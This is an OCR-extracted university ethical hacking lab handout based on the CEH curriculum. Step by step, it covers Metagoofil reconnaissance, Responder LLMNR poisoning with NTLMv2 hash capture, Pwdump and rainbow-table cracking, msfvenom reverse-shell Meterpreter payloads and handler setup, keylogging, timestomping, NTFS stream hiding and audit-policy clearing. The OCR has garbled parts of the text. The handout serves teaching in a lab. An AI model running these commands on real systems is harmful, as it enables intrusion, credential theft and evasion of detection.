PRIFYSGOL CYMRU

Y Drindod Dewi Sant

UNIVERSITY OF WALES Applied Computin
Trinity Saint David PP PHHIN

SWANSEA - ABERTAWE Wales Institute of Science and Art (WISA)

Ethical Hacking (ACCA7033)

Hacking Systems

©0Q .

DATA —> KNOWLEDGE ——> ACTION

future >

After

Lab Activities are based on EC Council — CEH Curriculum




ACCA7033 Dr. Nitheesh Murugan Kaliyamurthy

Objectives

In continuation to our earlier lectures, this tutorial helps in providing you an
overview of tools used to perform active online attack to crack system
password, identify vulnerabilities and exploit client-side vulnerabilities, gain
access and perform attacks.

ETHICAL STATEMENT

The tools and techniques you are exposed to’ in this lab is to work only on a
virtual machine environment and the purpose is entirely to demonstrate various
types of cyber-attacks. Experimentation with these tools, techniques, and
resources is at the discretion of the instructor and institution. If you as a student
consider using attack tools for educational purposes on an outside
environment, you should contact me prior to any experimentation.

Note: Unauthorized access to data, computer, and network systems is a crime
in many jurisdictions and often is accompanied by severe consequences,
regardless of the perpetrator’s motivations. It is the learner’s responsibility, as
the user of this material, to be cognizant of and compliant with computer use
laws.

Use various tools to do a vulnerability scanning and analyse the vulnerabilities
within the network

Task 1: Use Metagoofil to extract metadata from the target

Task 2: Use Responder to do LLMNR/NBT-NS Spoofing Attack

Task 3: Create Rainbow Tables and Use them to crack hashes

Task 4: Exploiting Vulnerabilities using msfvenom to access the target
remotely

Task 5: Placing a Backdoor to gain control and intentionally damage the target

Task 6: Hide Files using NTFS Streams

Task 7: Covering Tracks

ICONS Used in this document:

ﬂ Find out the outcome/ Answers/ Solution/ Discussion via Forum
[

[ )
o
L 1w

— Do research and complete the task. Need referencing/ in-text citations.

Shall be included as a part of your coursework.
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Lab Topology

Guide to Setup
your Lab

‘_
Attacker

Machine

‘ Victim Machine

Victim Machine

Victim Machine

= Attacker Machines: Kali Linux, Parrot, Ubuntu (It’s your Choice)

= Victim Machines: Combination of Win 10, 11, Win Server 2019, 22, Linux
(CentOS, Debian), bee-box v1.6

= Web Servers: DVWA, Good Shopping etc
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You need Kali Linux to complete this activity.

Task 1: Use Metagoofil

1. In Kali Linux, Install Metagoofil.
(Note: In this lab, the installation/ packaging/ unpackaging process, are not
provided. On completing earlier activities, you must be now proficient to unpack
tools into Linux. If you are still not clear how to install a tool/ unpack a tool into
kali linux, refer to our previous activities.)

2. Select the website of the Target Network. In my case, | am using
itsecgames.com, apple.com, certifiedhacker.com, dvwa.co.uk.


https://www.kali.org/tools/metagoofil/
http://www.itsecgames.com/
https://ctflearn.com/
https://damnvulnerableiosapp.com/
https://dvwa.co.uk/
https://defendtheweb.net/dashboard
https://hack.me/
https://www.hackthebox.com/
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3.

https://hackthissite.org
Target those vulnerable websites to extract metadata using Metagoofil.
(Note: Target only educational/ testing vulnerable websites only in lab
environment. DO NOT use in Websites of any organisation without prior
written consent)
a. —# metagoofil
usage: metagoofil.py [-h] -d DOMAIN [-e DELAY] [-f] [-i URL_TIMEOUT] [-I
SEARCH_MAX] [-n DOWNLOAD_FILE_LIMIT]

[0 SAVE_DIRECTORY] [-r NUMBER_OF_THREADS] -t
FILE_TYPES [-u [USER_AGENT]] [-w]
metagoofil.py: error: the following arguments are required: -d, -t

b. L—# metagoofil -d itsecgames.com -t doc,pdf -1 200 -n 5 -o targeffiles -f
[+] Adding -w for you

[*] Downloaded files will be saved here: targeftfiles

[+] Creating folder: targetfiles

[*] Searching for 200 .doc files and waiting 30.0 seconds between searches
[*] Searching for 200 .pdf files and waiting 30.0 seconds between searches

[+] Total download: 0 bytes / 0.00 KB / 0.00 MB

[+] Donel!

L—# metagoofil -d apple.com -t doc,pdf -| 200 -n 5 -o targetfiles -f
[+] Adding -w for you
[*] Downloaded files will be saved here: targetfiles
[*] Searching for 200 .doc files and waiting 30.0 seconds between searches
[+] Downloading file - [7750 bytes]

https://opensource.apple.com/source/gnuzip/gnuzip-11/gzip/algorithm.doc

[+] Downloading file - [76288 bytes]
http://store.apple.com/Catalog/China/lmages/rejection_letter.doc

[*] Searching for 200 .pdf files and waiting 30.0 seconds between searches

kali@kali:-~$ sudo metagoofil -d itsecgames.com -t doc,pdf -1 200 -n 5 -0 applefiles -f

-d DOMAIN P
—t FILE_TYPES

.| SEARCH_MAX]

-n DOWNLOAD_FILE_LIMIT
-0 SAVE_DIRECTORY

A

A

-f Output File


https://hackthissite.org/
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C.

While executing these metagoofil commands to extract metadata from your
target website, this happens. What will you do? Research and document the
error and its mitigation steps (This research work could be added to your
part of Coursework)

Scenario: You get the following execption

[-] EXCEPTION: HTTP Error 429: Too Many Requests
[*] Google is blocking you for making too many requests.

You will need to spread out the Google searches with metagoofil's switches
or utilize SSH and dynamic SOCKS proxies.

Don't know how to utilize SSH and dynamic SOCKS proxies?

Do yourself a favor and pick up a copy of The Cyber Plumber's Handbook
and interactive lab (https://gumroad.com/l/cph_book_and_lab) to learn all
about Secure Shell (SSH) tunneling, port redirection, and bending traffic like
a boss.[*] Exiting for now...

What is this exception? * i
Why this exception occurs? =]
How to overcome this exeption and successfully extract metadata

you’re your target?

Refer Whitepapers, Literatures and in-text cite them,

Using the knowledge and understanding gathered from the research,
demonstrate the method to overcome the exception. lllustrate the steps with
adequate and appropriate screenshots.

Submit the document in Moodle and/or use them for your coursework.

Open the files and look for useful information.

(Note: In this lab, the commands to open the directories/ files are not
provided. On completing earlier activities, you must be now proficient to
access files for directories, install/ pack/ unpack/ clone tools. If you are still
not clear how to do them, refer to our previous activities.)

From gathering those metadata, what useful information did you gather?
How is Metagoofil tool useful for your attack?

What are other similar tools you could use? -
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4. Report: Document and Submit the following in Moodle.
a. List out other vulnerable websites

What is the Exception HTTP Error 4297?

How to overcome the Error?

Demonstration with Screenshot.

Other similar tools used?

®ao0o
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You need Windows 10, Kali Linux to complete this activity.

Task 2

Use Responder to do LLMNR/NBT-NS Spoofing Attack

Attacker: Kali Linux

Victim: Windows 10

(Refer to our earlier lectures and activities if you are not clear about LLMNR/NBT-NS
concept.

What is LLMNR/NBT-NS?
By Spoofing LLMNR/NBT-NS what happens? -

1. In Kali Linux, use Responder tool.
a. Responder

NBT-NS, LLMNR & MDNS Responder 3.1.1.0

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

[+] Poisoners:
LLMNE
NET-NS
MDNS
DNS
DHCP

2. Login to Windows 10 victim machine as a user.
a. Try to open your shared folder

Run >

7 Typethename of a program, folder, document, or Internet
= resource, and Windows will open it for you.

Open: Atools| “

Cancel Browse...
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b. Use the correct name of your shared folder and a wrong name. Observe
both outcomes in Windows 10.

Windows Security X

Enter network credentials

Windows Security ® Enter your credentials to connect to: tools

nitheesh

seeed]

[[] Remember my credentials

e | | | Access is denied.

Enter network credentials

Enter your credentials to connect to: tools

More choices
Password |
oK Cancel
Domain:
|:| Remember my credentials 7 fun x
=7 Typethename of a program, folder, document, or Intemet
=1 resource, and Windows will open it for you.

Access is denied.

OK Cancel

What is the outcome when you open the correct shared folder?

What is the outcome when you open a wrong shared folder?

c. Observe Responders outcome in Kali Linux

[+] Listening for events ...

[+*] [NBT-NS] Poisoned answer sent to ::ffff:10.10.10.10 for name WORKGROUP (service: Domain Master Brow
ser)

[*] [NBT-NS]

[*] [LLMNR]

[*] [LLMNR]

[*] [LLMNR]

£
[ T
[ r
[*] r o
[#] [LLMNR] Poisone swer sent to : 10.10.10.10 for e tools
You must now have a response in your Responder with the username
and hash value of your credentials.
Scenario: Here, as a normal user, | tried to open the shared folder
and it replies with “Access is denied” message. Assuming that my

password is wrong, | tried to give my other username and
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credentials to check if that could go through. In that way, an

[#] [NBT- 0 e er se 0 FFFf : ervice: Domain Master Brows
er)

[#] [NBT-NS] Poisoned answer sent to ::ffff:10.10.10.10 for name SC-205-03 (service: Workstation/Redire
ctor)

Refer to my previous screenshots. The first username is Admin and
the second username is nitheesh. So, | tried using two of my user
credentials to access my folder and both are now with Attacker.
3. Login to Kali Linux. Open the stored file collected by Responder.
a. Hash files

| A Jusr/sharefresponder/logs/SMB-NTLMv2-55P-fe80:5d0c:8c5e:c239:74b3.txt [Read Only] -

File Edit Search View Document Help
-+ . h C x O Q& n
1.Pdmin::DESKTOP—GGCTGTG:6lﬁbQEEQBBcFBbeF:AFIQCEFCADE1283666FA53ECE?E528AA:

010100000000000000856D71063CDB01E7859ECIDAAS4L23D0000000002000800360048003500590
500500037004F003500350046004FR03700450004003400570049004E002D003700450050003700
EQ036004800350059002E004C004F00430041004C000300140036004800350059002E004C004F00
0059002E004C004FO0430041004C000700080000858D71063CDE010600040002000000080030003
@7CCE7QFAF150C6892D6FER392177A9178DDF3407A6A516013F3EF929773DDEE6OACD1000000000
140063006900660073002F0074006F006FR06C0073000000000000000000

What do you see? Did you get the username and passwords of your

victim?
A

Do research to find out different ways to convert the collected data
(Hash files) into actual text. = |

What tools could you use to crack the hashes? List out the tools. (Hint: Use one
of the tools other than John the ripper to crack the hashes and submit the work
as a part of your Coursework.)
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b. Use John the ripper tool in Kali Linux to crack the hashes

[+] Exiting...

g: UTF-8
ith 21 different salts (1.1x same-salt boost) (netntlmv2,

ding wit g
'g' or C ort, ost any other key for status

Almost done: Proc remaining buffered candidate passwords, if any.
ding with wordlis /share/john/password.lst

4. Report
a. What is LLMNR/NBT-NS? What happens during LLMNR/NBT-NS
Spoofing Attack?
b. Your research to find out different ways to convert the collected data
(Hash files) into actual text.

c. Document/ Demonstrate the hash file cracking using different tool other
than John the ripper.
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You need Windows Server 2019 and Windows 10 to complete this activity.

Task 3
Create Rainbow Tables and Use them to crack hashes
(Refer to our earlier lectures and activities if you are not clear about Rainbow Tables.

1. Login to Windows Server 2019
2. Download Winrtgen, Rainbow Crack and Pwdump Tools

Which link did you use to download these tools? Why? ﬂ
[ J

What is the purpose of these tools?

o

Install Winrtgen in Windows Server 2019.
4. Generate Rainbow Tables using Winrtgen.
a. Select the appropriate Hash format. Here we are targeting the hash files
from Windows Client.
So, which hash would you select from Winrtgen? ﬂ
[ 4

Rainbow Table properties X

Hash MinLen— ~Max Len-| - Index Chain Len— (- Chain Count N of tables

[ Che

321254128 keys
i e 61.03MB
uccess probabilty: 0.995072 (39 61%)

There are different hash types present in the list. What are they * g
used for? Do research on different kinds of hashes and their & |
purpose.

b. Select the Minimum Length and Maximum Length of the passwords
characters and the Chain Count. (The default chain count value is
40000000. For our simulated environment, we could reduce the chain
count value.)

Minimum Length 4 ﬂ
Maximum Length 7 o0
Chain Count : 4000000 =
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it Winrtgen v2.8 (Rainbow Tables Generator) by mao

Filename Statuz

oxidf000.rt

(Y] = | winrtgen - ] x
Home  sShare  View 7]
<« © A || « Shared Folders (\\wmware-host) (Z) » Tools > winrtgen « || [ searchwinrigen »
MName “ Date modified Type
s Quick access
5 Destop ] charset Text Document
] ntlm_loweralpha#4-7_0_2400x4000000_oxid#000.rt RT File
& Downloads Tables.lst LST File
| Documents winrtgen Applica
& Pictures | winrtgen.exesig
Tools
0 This PC
I Desktop
= Documents
& Downloads
D Music
& Pictures
& Videos
‘i Local Disk (C:)
= Shared Folders (\\vt
¥ Network
< >

c. Check the Winrtgen Folder for the generated rainbow table.

5. Login to Windows 10 machine. Run Command Prompt as Administrator.
a. Using Command Prompt, get the username and its user id’s. (SID)

windowshsys
Name
Administrator

DefaultAccount
Guest
nitheesh

b. Set the path of Pwdump folder where its exe file is present. In my case,
it is placed in the desktop. So, | set the path to Desktop\pwdumptool

indows C

c. Run the Pwdump exe

pudump8

PuDump e by ww . bl
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Did you get the Windows password hashes? Yes/ No

If yes, how did the tool gather the password hashes. * s
|

If No, why? What error did you get? Do research and

troubleshoot the error.

Possible Error: The system cannot execute the specified program
Gather the password hashes and save it to a text file. In my case, | saved
it to MyHashFile.txt.

) MyHashFile.ot - Notepad
File Edit Format View Help

PuDump v8.2 - dumps windows password hashes - by Fulvio Zanetti & Andrea Petralia @ http://wws.blackMath. it

Administrator:58@:AAD3B435B51404EEAAD3B435B51484EE : 31D6CFEAD16AEI31873C59D7ERCEBICH
Guest:5@1:AAD3B435B51484EEAAD3BA35B51484EE : 31D6CFEBD16AEI31B73C59D7EBCE89CE
DefaultAccount:5@3: AAD3B435851404FEAAD3BA35851484EE : 31D6CFEBD16AE931B73C59D7EBCABACE
Admin:1080:AAD3B435851404EEAAD3BA35B51404EE : 43ED46(0DAFFB432F8R54C1773283876

1 10.6.14393]

All rights reserved.

| MyHashFiletdt - Motepad
File Edit Format View Help

Administrator:580:AAD3B435B851404EEAAD3BA35B51404EE: 31D6CFERDLIBAES31B73C59D7EBCRE9CEA
Guest:501:AAD3B435B51484EEAAD3BA35B51404EE: 31D6CFEBDIGAES31B73C59D7EBCABACE

I DefaultAccount:583:AAD3B435B51484EEAAD3BA35B51404EE: 31D6CFE@DI6AES31B73C59D7ERCEEICEA
Admin:186@8:AAD3BA35651404EEAAD3B435651484EE:43ED46CEDBFFO432FE054C1773283876

6. Use Rainbow Crack tool to crack the hash file gathered earlier.

a.
b.

Login to Windows Server 2016 and Install Rainbow Crack Tool.

Load appropriate HASH format from file. (We have already gathered
NTLM Hashes). Locate the MyHashFile.txt which was stored in Windows
10.

The Username and Hash values are displayed. (/f the username and
Hash values are not displayed, Troubleshoot the error.)

Import the rainbow table generated already to crack the passwords. Use
Rainbow Table Menu and search for Rainbow Tables. Locate the rt file
saved and checked already.

Did you manage to crack the password? Yes

What is your understanding on the entire process of using * s
Winrtgen, Rainbow Crack and Pwdump Tools. |
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No: Troubleshoot the error and succeed cracking the password.

7. Report

a.
b.
C.

Troubleshoot Pwdump errors

How did Pwdump tools gather the password hashes?

List out the similar tools available to gather password hashes with
illustration.

Document with adequate screenshot (either using Rainbow Crack tool
or any other equivalent tools) the steps to search hashes using rainbow
tables and display the cracked passwords.
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You need Windows 10 and Kali Linux to complete this activity.

Task 4

1. Login to Kali Linux
2. Use MSFVenom to create a payload

a. msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -
f exe LHOST=10.10.10.11 LPORT=444 -0 /home/kali/Desktop/expltest.exe
(Here we are setting the listening host and port as Kali machine, the attacker
and creating a payload expltest.exe.)
3. Share the created Payload: (The above created payload need to be executed
in the target machine. To execute in the target machine).
a. Create a directory named “share”
b. Assign necessary rights (read, write, execute) to the directory and files there.
Change ownership of the directory and files.
. Copy the expltest.exe file to the “share” directory.
. Start apache service and Metasploit framework console.
e. Use Multihandler to execute the payload
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp

(oM ]

msf6 exploit(multi’/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf6 exploit(multi’/handler) > set LHOST (Attacker IP) 10.10.10.11
LHOST =>10.10.10.11
msf6 exploit(multi’/handler) > set LPORT (Attacker Port) 444
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LPORT => 444
msf6 exploit(multi’/handler) > exploit
4. Execute the payload:
a. Login to your Target machine (Windows 10) and type http:// (target ip
address/created directory name) http://10.10.10.11/share
b. Execute the exe file.
5. Gain Remote Access:
a. Login to your Attac

rt e rs

ker machine ) and observe the handler

ler on 10.10.10

(Kali

16 -9400

b. The Meterpreter session should have started. If the Meterpreter shell is
session is not connected, connect it manually.

meterpreter > sessions -i 1

c. Check the system info and run vnc.
What is vnc?
M

r: LHOST=10.10.10.11 LPORT=4545

146 -0400

shift red 16 green 8 blue @
xel format:

te first in each pixel.

d. A VNC session of the target machine is opened. Could you successfully
open a VNC session? If yes, document. If no, troubleshoot.


http://10.10.10.11/share
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[[ Windows Server 2016 [ Kali-Linux-2021.4a-vmwa... [} Windows 10 and later x64

2

CR T

TightVNC: desktop-ggctgtg

£ - & @ indexof fshare

Name Last modified Size Description
= a Parent Directo: -
expltest.exe 2022-03-20 08:14 72K
Apache/2.4.52 (Debian) Server at 10.10.10.11 Port 80

= - P e

T8 Vistumbler v10-7.0 Application 7,088 KB

T8 winrar-x64-350.exe M Application 2,160 KB

# winrtgen.zip Compressed (zipp.. 253 KB
M Wireshark-wing4-3.62.exe Application 75,650 KB
5] MyHashFile.ot Text Document 1KB

6. Report
a. What is a metaspoilt framework?
b. What is the use of msfvenom?
c. Screenshot with illustrations on creating a Shared Directory for the
Payload
d. What is VNC?
e. Your outcome.
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You need Windows 10 and Kali Linux to complete this activity.

Task 5

1. Login to Windows 10 and create a confidential file and save it.
Scenario: As an attacker our aim is to compromise the target using the
techniques learned/ used so far. Access the confidential file and modify

the file allocation table.
To do that, we are placing a Backdoor.

2. Login to Kali Linux
3. Use MSFVenom to create a Shikata payload

msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -e
x86/shikata_ga nai -b  "x00" LHOST=10.10.10.11 -f  exe >

/home/kali/Desktop/MyBackdoor.exe
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4. Start Apache Service and Msfconsole
5. Place the newly create Payload to the existing “Shared” directory and install the

payload in Target Machine. (Refer to our earlier activity)

[ Windows Server 2016 [ KaliLinux-2021, 4a-vmware-a... [ Windows 10 and later x64

e 2 http:/10109011share/ 2 ~ & || & Index of /share

Index of /share

Name Last modified Size Description

3 Parent Directory -
MvBackdoor exe 2022-03-20 10:06 72K

expltest.exe 2022-03-20 08:14 72K
Apache/2.4.52 (Debian) Server at 10.10.10.11 Part 80

6. Once the Meterpreter session is successfully opened, launch the session.
Before launching, view the active session
a. sessions -i

) ter session 1 opened (10.10.10.11:4444 — 10.10.10.10:49947 ) at

sess
Active sessions

Id Name Type Information Connection

1 meterpreter x86/windows DESKTOP-GGCTGTGA\Admin @ DESKTOP-GGCTGTG 10.10.10.11:4444 — 10.10.10.10:49947 (1@.10.10.
1@)

b. Launch Meterpreter shell.
msf6 exploit(multi’/handler) > sessions -i 1
[*] Starting interaction with 1...

c. Gather information. (You shall notice that the details about the target
machine is available here)
meterpreter > sysinfo
meterpreter > ipconfig
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d. Using a similar command like above, check if the Meterpreter server is

running as administrator.
Which command would you use to confirm this? ﬂ
[ 4

(meterpreter > getuid)

meterpreter > getuid

Server ername: DESKTOP-GGCTGTGYAdmin

Confirm the working directory.
Which command would you use to confirm the working directory?

List the files in the working directory. Look for the confidential file you
have created before beginning this activity. Go to the folder and try
opening the file.

sh\Admin\Desktop

Type Last modified Name

fil
dir
l dir
541455 fil

‘\Admin\Desktop

Type

fil
fil
dir
i dir
541455 fil

ifident

meterpreter > cat confidential_document.txt
The marking key is 5342meterpreter >

Last modified

document.txt

desktop.ini
pwdum
pwdum
pwdum

Name

confidential_document.txt
desktop.ini

pwdum

pwdum

pwdum

Did you get access to the confidential file? What is the confidential data
present in the document? If Yes, proceed further. If No, troubleshoot.
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g. Look at the MACE Value
meterpreter > cat confidential _document.txt
The marking key is 5342meterpreter > timestomp
confidential_document.txt -v

tomp confidential_document
nfidential_document.txt

What is MACE Value?
R

Scenario: As an attacker, when you tried to access the confidential file
(confidential_document.txt in my case), the MACE values might have changed.
If the Target user finds out the MACE value change, he/she could doubt that the
file has been read or modified by someone. As an attacker, clearing these helps
you to remain undetected for a long time.

By placing a backdoor, we have now gained access to the confidential files. There are
more to do. Let us try other tasks too.

7. Download a (exe) file
a. Change the working directory to a different one where you have exe files.
In my case, | have an exe file in C Drive.

Type Last modified Name

dir $Recycle.Bin
BOO

=

Settings

Windows
bootmgr
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b.

Try to download the exe file npp.7.5.4.Installer.exe to the Attacker
Machine. (I my case, it is npp.exe file. You may choose a different file/
different directory)

meterpreter > download npp.7.5.4.Installer.exe

[*] Downloading: npp.7.5.4.Installer.exe -> /root/npp.7.5.4.Installer.exe
[*] Downloaded 1.00 MiB of 3.97 MiB (25.16%): npp.7.5.4.Installer.exe -
> [root/npp.7.5.4.Installer.exe

[*] Downloaded 2.00 MiB of 3.97 MiB (50.32%): npp.7.5.4.Installer.exe -
> [root/npp.7.5.4.Installer.exe

[*] Downloaded 3.00 MiB of 3.97 MiB (75.49%): npp.7.5.4.Installer.exe -
> [root/npp.7.5.4.Installer.exe

[*] Downloaded 3.97 MiB of 3.97 MiB (100.0%): npp.7.5.4.Installer.exe -
> [root/npp.7.5.4.Installer.exe

[*] download : npp.7.5.4.Installer.exe -> /root/npp.7.5.4.Installer.exe

Try to search for confidential files.
meterpreter > search -f myhashfile.txt
Found 2 results...

Path Size (bytes) Modified (UTC)
c:\MyHashFile.txt 441 2022-03-20 07:27:35 -0400
z:\Tools\MyHashFile.txt 441 2022-03-20 07:27:35 -0400

Try to place a keylogger.
meterpreter > keyscan_start
Starting the keystroke sniffer ...

View the captured keystrokes
meterpreter > keyscan_dump
Dumping captured keystrokes...

View the idle time

meterpreter > idletime
User has been idle for: 49 secs

Use the same techinque to capture the webcam snapshots and streams. Record
the steps with adequate screenshots.
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You need Windows Server 2019.
Task 6
Hide Files using NTFS Streams

1. Login into your Windows Server 2016. Check your drive’s file system.

What is your File System Format? ﬂ
Local Disk (C:)
-~ 431 GBF{ & Local Disk (C) Properties X
“Network locats Shadow Copies Previous Versions Quota
Shared Fol General Tools Hardware Sharing Security
W (——
g
Type: Local Disk

Fie system:  NTFS
W Used space: 17572016128 bytes  16.3GB

Free space. 46326104064 bytes  43.1GB
Capaciy: 62.898.120.192byies 595G
Dive Disk Cleanup

[]Compress tis drive to save disk space

 Alow fies onthis drive to have contents indexed in addtion
fie properties

[oc ]| cmen

2. Create a folder in C Drive. In my case, | have created HideMyFiles.
Copy exe application file to the created Folder. | have taken two files for this

activity.
'ﬁ npp 22/01/201812:31 Application 4070 KB
5=| PwDump7 01,/07/2007 02:35 Application 76 KB

4. List the Directory to check if the files are present.

C:\HideMyFile
Volume in drive C has no label.
Volume Serial MNumber is 6A66-BCFS

Directory of C:\HideMyFile

16

5. Create a notepad with a name readme.txt using command prompt.
C:\HideMyFiles>notepad readme.txt
Write a basic read me note on the text file and save the file.
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6. Check the size of the exe files and the notepad files.

What is the file sizes? ﬂ
Notepad: o0
Exe: NPP.exe L

Exe: PwDump7.exe

7. Hide the exe file in the txt file.
type c:\HideMyFiles\npp.exe > c:\HideMyFiles\readme.txt:npp.exe
8. Check the file size again.

What is the file sizes? ﬂ
Notepad: >0
Exe: NPP.exe C

Exe: PwDump7.exe
Any Changes?

9. Delete the npp.exe file from C drive HideMyFiles folder. (This action means, we
have literally deleted the npp.exe file from our machine)

10.Execute the Hidden exe file now.
mklink backdoor_npp.exe readme.txt:npp.exe

symbolic link created for backdoor npp.exe <<===>>
readme.txt:npp.exe

11.Execute backdoor npp.exe

What happened when executing the above command? ﬂ
Did the file execute? o0
If Yes, go to next step. -—

If no, Troubleshoot

C:\HideMyFiles»mklink backdoor_1.exe readme.txt:npp.exe

symbolic link cr ed for b ol >» readme.txt:npp.exe

C:\HideMyFiles»backdoor_1.exe

C:\HideMyFiles>

12.Similarly do the same for PwDump7.exe file.

What happened when executing the backdoor?

Did the file execute? No, it wont execute the exe file.

A error message pops out stating required DLL File was not found or
missing.
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13.Report
a. Do research to find out steps to execute the exe file along with the
required DLL File. Document the step with adequate screenshot and
description. You shall use these identified steps in your coursework.
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You need Windows Server 2019.

Task 7
Clearing Tracks

Login into your Windows Server 2019.
Use Auditpol.
Login to your Windows 2019 Server.

=

Command Prompt
a. Auditpol /get/category:* -
(It would list all the categories)
b. Enable the Audit Policies

c. auditpol /set /category:’system”,
[failure:enable

account logon” /success:enable

d. Auditpol /get/category:* -
(You could see the settings)
e. To clear them: Auditpol /clear /y Auditpol /get/category:* -

What is Auditpol? How is it helpful in covering tracks? ﬂ
[ J

Set various Auditpol policies and document with screenshots
List out similar tools that are used for covering tracks.

5. Report
a. What is Auditpol?
b. Setting various polices using Auditpol.
c. List out other tools used for auditing purpose/ covering tracks
d. Document with adequate screenshots and necessary description

Record your Reflection:

Understanding on all the activities

Understanding about various tools used

New/ Similar tools you identified and used

Compare and Contrast the tutorial tools with your identified tools

N =
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5. Any other Troubleshooting Steps, you need to share?
6. Rate yourself: How confident are you to do the vulnerability assessment and
Social Engineering activity ethically?

End of Activity 3 -------------



